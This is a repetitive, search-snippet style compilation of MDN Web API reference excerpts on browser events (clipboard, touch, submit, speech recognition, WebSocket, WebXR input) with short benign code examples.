event object contains no data. bubbles yes cancelable yes interface clipboard
event event handler property oncut the
eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document. a handler for this
event can modify the clipboard contents by calling setdata(format, data) on the
event's clipboard
event.clipboarddata property, and cancelling the default action using
event.pr
eventdefault(). ...
... the
eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document. a handler for this
event can modify the clipboard contents by calling setdata(format, data) on the
event's clipboard
event.clipboarddata property, and cancelling the default action using
event.pr
eventdefault(). note though that cancelling the default action will also pr
event the document from being updated. so an
event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut
event, but this will not affect the system clipboard or the document's contents. specifications ...
...lso manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut
event, but this will not affect the system clipboard or the document's contents. ...
... handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut
event, but this will not affect the system clipboard or the document's contents. ...
Server-sent events - Web APIs
traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. with server-sent
events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. these incoming messages can be treated as
events + data inside the web page. concepts and usage to learn how to use server-sent
events, see our article using server-sent
events. interfaces
eventsource defines all the features that handle connecting to a server, receiving
events/data, errors, closing a connection, etc. examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent
events' in that specification. living standa...
...vents. interfaces
eventsource defines all the features that handle connecting to a server, receiving
events/data, errors, closing a connection, etc. examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent
events' in that specification. living standard see also tools
eventsource polyfill for node.js remy sharp’s
eventsource polyfill yaffle’s
eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent
events and its code on github. ...
... living standard see also tools
eventsource polyfill for node.js remy sharp’s
eventsource polyfill yaffle’s
eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent
events and its code on github. ...
... see also tools
eventsource polyfill for node.js remy sharp’s
eventsource polyfill yaffle’s
eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent
events and its code on github. ...
SpeechRecognitionEvent.emma - Web APIs
the emma read-only property of the speechrecognition
event interface returns an extensible multimodal annotation markup language (emma) — xml — representation of the result. note: emma is defined in the specification emma: extensible multimodal annotation markup language. you can see muliple emma examples in the spec. syntax var myemma =
event.emma; value a valid xml document. the exact contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace. if the speech recognition system does not supply emma data then the user agent will return null. ...
...xamples in the spec. syntax var myemma =
event.emma; value a valid xml document. the exact contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace. if the speech recognition system does not supply emma data then the user agent will return null. ...
...syntax var myemma =
event.emma; value a valid xml document. the exact contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace. if the speech recognition system does not supply emma data then the user agent will return null. ...
...supporting implementations will expose a valid xml document complete with an emma namespace. ...
SpeechRecognitionEvent.interpretation - Web APIs
the interpretation read-only property of the speechrecognition
event interface returns the semantic meaning of what the user said. this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation =
event.interpretation; value the returned value can be of any type. if no semantic interpretation has been returned by the speec recognition system, null will be returned. ...
...e sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation =
event.interpretation; value the returned value can be of any type. if no semantic interpretation has been returned by the speec recognition system, null will be returned. ...
... semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation =
event.interpretation; value the returned value can be of any type. if no semantic interpretation has been returned by the speec recognition system, null will be returned. ...
...nterpretation =
event.interpretation; value the returned value can be of any type. if no semantic interpretation has been returned by the speec recognition system, null will be returned. ...
SpeechRecognitionEvent - Web APIs
the speechrecognition
event interface of the web speech api represents the
event object for the result and nomatch
events, and contains all the data associated with an interim or final speech recognition result. properties speechrecognition
event also inherits properties from its parent interface,
event. speechrecognition
event.emma read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result. speechrecognition
event.interpretation read only returns the semantic meaning of what the user said. speechrecognition
event.resultindex read only returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed. ...
...a read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result. speechrecognition
event.interpretation read only returns the semantic meaning of what the user said. speechrecognition
event.resultindex read only returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed. speechrecognition
event.results read only returns a speechrecognitionresultlist object representing all the speech recognition results for the current session. examples this code is excerpted from our speech color changer example. ...
...esultindex read only returns the lowest index value result in the speechrecognitionresultlist "array" that has actually changed. speechrecognition
event.results read only returns a speechrecognitionresultlist object representing all the speech recognition results for the current session. examples this code is excerpted from our speech color changer example. recognition.onresult = function(
event) { // the speechrecognition
event results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects. // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0. // each speechrecognitionresult object contains speechrecognitionalternative objects th...
...eechrecognitionresult at position 0. // each speechrecognitionresult object contains speechrecognitionalternative objects that contain individual results. // these also have getters so they can be accessed like arrays. // the second [0] returns the speechrecognitionalternative at position 0. // we then return the transcript property of the speechrecognitionalternative object var color =
event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition
event' in that specification. draft ...
SubmitEvent() - Web APIs
the submit
event() constructor creates and returns a new submit
event object, which is used to represent a submit
event fired at an html form. syntax let submit
event = new submit
event(type,
eventinitdict); parameters type a domstring indicating the
event which occurred. for submit
event, this is always submit.
eventinitdict optional an optional dictionary of initial values for the
event's properties. return value a submit
event object configured using the given inputs. examples this code snippet locates a form in the current document, and then an html <button> within the form with the class submit on it. next, a new submit
event is created, configured with its submitter set to the identified button (or null if the button wasn't found). ...
...of initial values for the
event's properties. return value a submit
event object configured using the given inputs. examples this code snippet locates a form in the current document, and then an html <button> within the form with the class submit on it. next, a new submit
event is created, configured with its submitter set to the identified button (or null if the button wasn't found). then the
event is sent to the form, telling the form that it's been submitted by the button. ...
...html <button> within the form with the class submit on it. next, a new submit
event is created, configured with its submitter set to the identified button (or null if the button wasn't found). then the
event is sent to the form, telling the form that it's been submitted by the button. const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submit
event = new submit
event("submit", { submitter: formtrigger }); form.dispatch
event(submit
event); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful. ...
...on.submit"); const submit
event = new submit
event("submit", { submitter: formtrigger }); form.dispatch
event(submit
event); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful. specifications specification status comment html living standardthe definition of 'submit
event()' in that specification. living standard ...
SubmitEvent - Web APIs
the submit
event interface defines the object used to represent an html form's submit
event. this
event is fired at the <form> when the form's submit action is invoked. constructor submit
event() creates and returns a new submit
event object whose type and other options are configured as specified. note that currently, the only valid type for a submit
event is submit. properties in addition to the properties listed below, this interface inherits the properties of its parent interface,
event. submitter read only an htmlelement object which identifies the button or other element which was invoked to trigger the form being submitted. methods while submit
event offers no methods of its own, it inherits any specified by its parent interface,
event. examples in this example, a shopping ...
...s in this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors. each of the submit elements' id is used to identify which payment processor the button corresponds to. ...
...pping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors. each of the submit elements' id is used to identify which payment processor the button corresponds to. let form = document.queryselector("form"); form.add
eventlistener("submit", (
event) => { let submitter =
event.submitter; let handler = submitter.id; if (handler) { processorder(form, handler); } else { showalertmessage("an unknown or unaccepted payment type was selected. please try again.", "ok"); } }); the handler id is obtained by using the submit
event's submitter property to get the submit button, from which we then get the id. with that in hand, we c...
...y again.", "ok"); } }); the handler id is obtained by using the submit
event's submitter property to get the submit button, from which we then get the id. with that in hand, we can call a processorder() function to handle the order, passing along the form and the handler id. specifications specification status comment html living standardthe definition of 'submit
event' in that specification. living standard ...
SyncEvent.tag - Web APIs
specifications specification status comment web background synchronizationthe definition of 'tag' in that specification. ...
... specifications specification status comment web background synchronizationthe definition of 'tag' in that specification. ...
... specifications specification status comment web background synchronizationthe definition of 'tag' in that specification. ...
... specifications specification status comment web background synchronizationthe definition of 'tag' in that specification. ...
TouchEvent.changedTouches - Web APIs
the changedtouches read-only property is a touchlist whose touch points (touch objects) varies depending on the
event type, as follows: for the touchstart
event, it is a list of the touch points that became active with the current
event. for the touchmove
event, it is a list of the touch points that have changed since the last
event. for the touchend
event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface). syntax var changes = touch
event.changedtouches; return value changes a touchlist whose touch objects include all the touch points that contributed to this touch
event. example this example illustrates the touch
event object's touch
event.changedtouches property. t...
... removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface). syntax var changes = touch
event.changedtouches; return value changes a touchlist whose touch objects include all the touch points that contributed to this touch
event. example this example illustrates the touch
event object's touch
event.changedtouches property. the touch
event.changedtouches property is a touchlist object that contains one touch object for each touch point which contributed to the
event. ...
...value changes a touchlist whose touch objects include all the touch points that contributed to this touch
event. example this example illustrates the touch
event object's touch
event.changedtouches property. the touch
event.changedtouches property is a touchlist object that contains one touch object for each touch point which contributed to the
event. in following code snippet, the touchmove
event handler iterates through the changedtouches list and prints the identifier of each touch point that changed since the last
event. someelement.add
eventlistener('touchmove', function(e) { // iterate through the list of touch points that changed // since the last
event and print each touch point's identifier. for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouche...
...ner('touchmove', function(e) { // iterate through the list of touch points that changed // since the last
event and print each touch point's identifier. for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
TouchEvent.targetTouches - Web APIs
the targettouches read-only property is a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart
event occurred inside the same target element as the current target element. syntax var touches = touch
event.targettouches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart
event occurred inside the same target element as the current target element. example this example illustrates the touch
event object's touch
event.targettouches property. ...
...as such, the targettouches list is a strict subset of the touches list. ...
...as such, the targettouches list is a strict subset of the touches list. in following code snippet, the function compares the length of the touches list to the the length of the targettouches list and returns true if the lengths are the same and returns false otherwise. ...
... the the length of the targettouches list and returns true if the lengths are the same and returns false otherwise. function touches_in_target(ev) { // return true if all of the touches are within the target element; // otherwise return false. return (ev.touches.length == ev.targettouches.length ? true : false); } specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
TouchEvent.touches - Web APIs
touches is a read-only touchlist listing all the touch objects for touch points that are currently in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touchstart time. you can think of it as how many separate fingers are able to be identified as touching the screen. ...
...s how many separate fingers are able to be identified as touching the screen. syntax var touches = touch
event.touches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touchstart time. example this example illustrates the touch
event object's touch
event.touches property. the touch
event.touches property is a touchlist object and containing a list of touch objects for every point of contact currently touching the surface. ...
...he touch surface, regardless of whether or not they've changed or what their target element was at touchstart time. example this example illustrates the touch
event object's touch
event.touches property. the touch
event.touches property is a touchlist object and containing a list of touch objects for every point of contact currently touching the surface. in following code snippet, the touchstart
event handler checks the length of the touch
event.touches list to determine the number of touch points that were activated and then invokes different handlers depending on the number of touch points. someelement.add
eventlistener('touchstart', function(e) { // invoke the appropriate handler depending on the // number of touch points. switch (e.touches.length) { case 1: handle_one_touch(e)...
...ction(e) { // invoke the appropriate handler depending on the // number of touch points. switch (e.touches.length) { case 1: handle_one_touch(e); break; case 2: handle_two_touches(e); break; case 3: handle_three_touches(e); break; default: console.log("not supported"); break; } }, false); specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
WebSocket: close event - Web APIs
the close
event is fired when a connection with a websocket is closed. bubbles no cancelable no interface close
event event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection. given that you have a variable called examplesocket that refers to an opened websocket, this handler would handle the situation where the socket has been closed. ...
...face close
event event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection. given that you have a variable called examplesocket that refers to an opened websocket, this handler would handle the situation where the socket has been closed. ...
...
event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection. given that you have a variable called examplesocket that refers to an opened websocket, this handler would handle the situation where the socket has been closed. ...
...ou can update the ui or, perhaps, save data about the closed connection. given that you have a variable called examplesocket that refers to an opened websocket, this handler would handle the situation where the socket has been closed. examplesocket.add
eventlistener('close', (
event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the
event handler property, like this: examplesocket.onclose = function (
event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification. living standard ...
Window: copy event - Web APIs
the copy
event fires when the user initiates a copy action through the browser's user interface. bubbles yes cancelable yes interface clipboard
event event handler property oncopy the original target for this
event is the element that was the intended target of the copy action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: copy
event. ...
...lable yes interface clipboard
event event handler property oncopy the original target for this
event is the element that was the intended target of the copy action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: copy
event. ...
...nterface clipboard
event event handler property oncopy the original target for this
event is the element that was the intended target of the copy action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: copy
event. ...
... intended target of the copy action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: copy
event. ...
Window: cut event - Web APIs
the cut
event is fired when the user has initiated a "cut" action through the browser's user interface. bubbles yes cancelable yes interface clipboard
event event handler property oncut the original target for this
event is the element that was the intended target of the cut action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: cut
event. ...
...ncelable yes interface clipboard
event event handler property oncut the original target for this
event is the element that was the intended target of the cut action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: cut
event. ...
... interface clipboard
event event handler property oncut the original target for this
event is the element that was the intended target of the cut action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: cut
event. ...
... the intended target of the cut action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: cut
event. ...
Window.event - Web APIs
the read-only window property
event returns the
event which is currently being handled by the site's code. outside the context of an
event handler, the value is always undefined. you should avoid using this property in new code, and should instead use the
event passed into the
event handler function. this property is not universally supported and even when supported introduces potential fragility to your code. note: this property can be fragile, in that there may be situations in which the returned
event is not the expected value. in addition, window.
event is not accurate for
events dispatched within shadow trees. specifications specification status comment domthe definition of 'window.
event' in that specification. living standard initial definition. ...
...definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...to change preferences in firefox, visit about:config.ie full support 4opera full support 7safari full support 1.1webview android full support 1chrome android ...
...to change preferences in firefox, visit about:config.opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support ...
Window: online event - Web APIs
the online
event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true. note: this
event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still pr
event the website from being reached. ...
... the online
event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true. note: this
event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still pr
event the website from being reached. ...
...vent of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true. note: this
event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still pr
event the website from being reached. ...
...ed access to the network and the value of navigator.online switches to true. note: this
event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still pr
event the website from being reached. bubbles no cancelable no interface
event event handler property ononline examples // add
eventlistener version window.add
eventlistener('online', (
event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (
event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe definition of 'online
event' in that specification. living standard ...
Window: paste event - Web APIs
the paste
event is fired when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface clipboard
event event handler property onpaste the original target for this
event is the element that was the intended target of the paste action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: paste
event. ...
...le yes interface clipboard
event event handler property onpaste the original target for this
event is the element that was the intended target of the paste action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: paste
event. ...
...face clipboard
event event handler property onpaste the original target for this
event is the element that was the intended target of the paste action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: paste
event. ...
...ended target of the paste action. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on the element: paste
event. ...
Window: rejectionhandled event - Web APIs
the rejectionhandled
event is sent to the script's global scope (usually window but also worker) whenever a javascript promise is rejected but after the promise rejection has been handled. this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection
event, which is sent when a promise is rejected but there is no hander for the rejection. ...
...ndow but also worker) whenever a javascript promise is rejected but after the promise rejection has been handled. this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection
event, which is sent when a promise is rejected but there is no hander for the rejection. ...
...orker) whenever a javascript promise is rejected but after the promise rejection has been handled. this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection
event, which is sent when a promise is rejected but there is no hander for the rejection. ...
...led. this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection
event, which is sent when a promise is rejected but there is no hander for the rejection. bubbles no cancelable no interface promiserejection
event event handler property onrejectionhandled example you can use the rejectionhandled
event to log promises that get rejected to the console, along with the reasons why they were rejected: window.add
eventlistener("rejectionhandled",
event => { console.log("promise rejected; reason: " +
event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification. living standard ...
Window: transitionend event - Web APIs
the transitionend
event is fired when a css transition has completed. in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the
event will not be generated. bubbles yes cancelable yes interface transition
event event handler property ontransitionend the transitionend
event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition
events are fired. if the transitioncancel
event is fired, the transitionend
event will not fire. the...
... directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition
events are fired. if the transitioncancel
event is fired, the transitionend
event will not fire. the original target for this
event is the element that had the transition applied. ...
... it fully reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition
events are fired. if the transitioncancel
event is fired, the transitionend
event will not fire. the original target for this
event is the element that had the transition applied. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on htmlelement: transitionend. ...
...e transitioncancel
event is fired, the transitionend
event will not fire. the original target for this
event is the element that had the transition applied. you can listen for this
event on the window interface to handle it in the capture or bubbling phases. for full details on this
event please see the page on htmlelement: transitionend. examples this code adds a listener to the transitionend
event: window.add
eventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend property instead of add
eventlistener(): window.ontransitionend = () => { console.log('transition ended'); }; see a live example of this
event. specifications specification status comment css transitionsthe definition of 'transitionend...
WindowEventHandlers.onmessage - Web APIs
} specifications specification status comment html living standardthe definition of 'onmessage' in that specification. ...
...} specifications specification status comment html living standardthe definition of 'onmessage' in that specification. ...
...} specifications specification status comment html living standardthe definition of 'onmessage' in that specification. ...
...} specifications specification status comment html living standardthe definition of 'onmessage' in that specification. ...
WindowEventHandlers.onpopstate - Web APIs
the onpopstate property of the window
eventhandlers mixin is the
eventhandler for processing popstate
events on the window. a popstate
event is dispatched to the window each time the active history entry changes between two history entries for the same document. if the activated history entry was created by a call to history.pushstate(), or was affected by a call to history.replacestate(), the popstate
event's state property contains a copy of the history entry's state object. note: calling history.pushstate() or history.replacestate() won't trigger a popstate
event. the popstate
event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document. syntax win...
...ng a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document. syntax window.onpopstate = funcref; funcref is a handler function. ...
...() in javascript), when navigating between two history entries for the same document. syntax window.onpopstate = funcref; funcref is a handler function. ...
... specifications specification status comment html living standardthe definition of 'onpopstate' in that specification. living standard ...
WindowEventHandlers.onstorage - Web APIs
example this example logs the value for a storage key whenever it changes in another document. ...
... example this example logs the value for a storage key whenever it changes in another document. ...
... example this example logs the value for a storage key whenever it changes in another document. ...
... example this example logs the value for a storage key whenever it changes in another document. ...
WindowEventHandlers.onunhandledrejection - Web APIs
examples this example simply logs unhandled rejections' reason values to the console. window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification. ...
... examples this example simply logs unhandled rejections' reason values to the console. window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification. ...
... examples this example simply logs unhandled rejections' reason values to the console. window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification. ...
... examples this example simply logs unhandled rejections' reason values to the console. window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification. ...
XMLHttpRequestEventTarget.onprogress - Web APIs
the xmlhttprequest
eventtarget.onprogress is the function called periodically with information when an xmlhttprequest before success completely. syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
event event.loaded the amount of data currently transfered.
event.total the total amount of data to be transferred. ...
...nction called periodically with information when an xmlhttprequest before success completely. syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
event event.loaded the amount of data currently transfered.
event.total the total amount of data to be transferred. ...
...ed periodically with information when an xmlhttprequest before success completely. syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
event event.loaded the amount of data currently transfered.
event.total the total amount of data to be transferred. ...
...with information when an xmlhttprequest before success completely. syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
event event.loaded the amount of data currently transfered.
event.total the total amount of data to be transferred. ...
XRInputSourceEvent.frame - Web APIs
the read-only xrinputsource
event property frame specifies an xrframe object representing the
event frame during which a webxr user input occurred. this may thus be an
event which occurred in the past rather than a current or impending
event. syntax let inputframe = xrinputsource
event.frame; value an xrframe indicating the
event frame at which the user input
event described by the object took place. usage notes the
event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the sc...
...e
event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the
event occurred. however, since the
event frame isn't an animation frame, there is no viewer pose available to represent the viewer's current point of view; the results of calling getviewerpose() will be an xrviewerpose with an empty views list. ...
...od, which you can use to get the relative positions of the objects in the scene at the time the
event occurred. however, since the
event frame isn't an animation frame, there is no viewer pose available to represent the viewer's current point of view; the results of calling getviewerpose() will be an xrviewerpose with an empty views list. examples this code shows a handler for the selectstart
event which gets the target ray's pose from the frame, mapping the pose representing the ray (
event.inputsource.targetrayspace) to the overall reference space myrefspace. ...
...ctstart
event which gets the target ray's pose from the frame, mapping the pose representing the ray (
event.inputsource.targetrayspace) to the overall reference space myrefspace. then, if the result isn't null, the target ray pose's transform is passed into a function called mycheckandhandlehit() to see if the ray was pointing at anything when the select was triggered. xrsession.onselectstart =
event => { let targetraypose =
event.frame.getpose(
event.inputsource.targetrayspace, myrefspace); if (targetraypose) { checkandhandlehit(targetraypose.transform); } }; specifications specification status comment webxr device apithe definition of 'xrinputsource
event.frame' in that specification. working draft initial definition. ...
XRInputSourceEventInit.frame - Web APIs
the xrinputsource
eventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source
event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the
event took place. of course, as a general rule, you won't need to create xrinputsource
eventinit objects yourself. these
events are generated by and sent to you by the webxr infrastructure. ...
...t which the new input source
event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the
event took place. of course, as a general rule, you won't need to create xrinputsource
eventinit objects yourself. these
events are generated by and sent to you by the webxr infrastructure. syntax xrinputsource
eventinit.frame = xrframe; let xrinputsource
eventinit = { frame: xrframe }; let xrinputsource
event = new xrinputsource
event(type, { frame: xrframe }); value an xrframe indicating the time at which the
event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space. ...
...ou by the webxr infrastructure. syntax xrinputsource
eventinit.frame = xrframe; let xrinputsource
eventinit = { frame: xrframe }; let xrinputsource
event = new xrinputsource
event(type, { frame: xrframe }); value an xrframe indicating the time at which the
event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space. usage notes the
event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). ...
...e
event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback). instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the
event occurred. examples this example creates a new select
event and sends it to the xrsession. let
event = new xrinputsource
event("select", { frame:
eventframe, inputsource: source }; if (
event) { xrsession.dispatch
event(
event); } specifications specification status comment webxr device apithe definition of 'xrinputsource
eventinit.frame' in that specification. ...
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsourceschange
event property added is a list of zero or more input sources, each identified using an xrinputsource object, which have been newly made available for use. syntax let addedinputs = xrinputsourceschange
event.added; value an array of zero or more xrinputsource objects, each representing one input device added to the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
...urceschange
event.added; value an array of zero or more xrinputsource objects, each representing one input device added to the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
... an array of zero or more xrinputsource objects, each representing one input device added to the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
... below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. xrsession.oninputsourcescchange =
event => { for (let input of
event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of
event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschange
event.added' in that specification. working draft initial definition. ...
XRInputSourcesChangeEvent.removed - Web APIs
the read-only xrinputsourceschange
event property removed is an array of zero or more xrinputsource objects representing the input sources which have been removed from the xrsession. syntax removedinputs = xrinputsourceschange
event.removed; value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
...hange
event.removed; value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
...array of zero or more xrinputsource objects, each representing one input device removed from the xr system. examples the example below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. ...
... below creates a handler for the inputsourceschange
event that processes the lists of added and removed from the webxr system. it looks for new and removed devices whose targetraymode is tracked-pointer. xrsession.oninputsourcescchange =
event => { for (let input of
event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of
event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschange
event.removed' in that specification. working draft initial definition. ...
touchstart - Event reference
the touchstart
event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this
event. ...
... the touchstart
event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this
event. ...
... the touchstart
event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this
event. ...
...he touchstart
event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this
event. ...
Touch events (Mozilla experimental) - Developer guides
warning: this experimental api was removed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15), when support for the standard touch
events was implemented. the experimental touch
events api described on this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17. you should instead use the standard touch
events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12. this api allowed you to track the movement of the user's finger on a touch screen, monitoring the raw touch
events generated by the system. ...
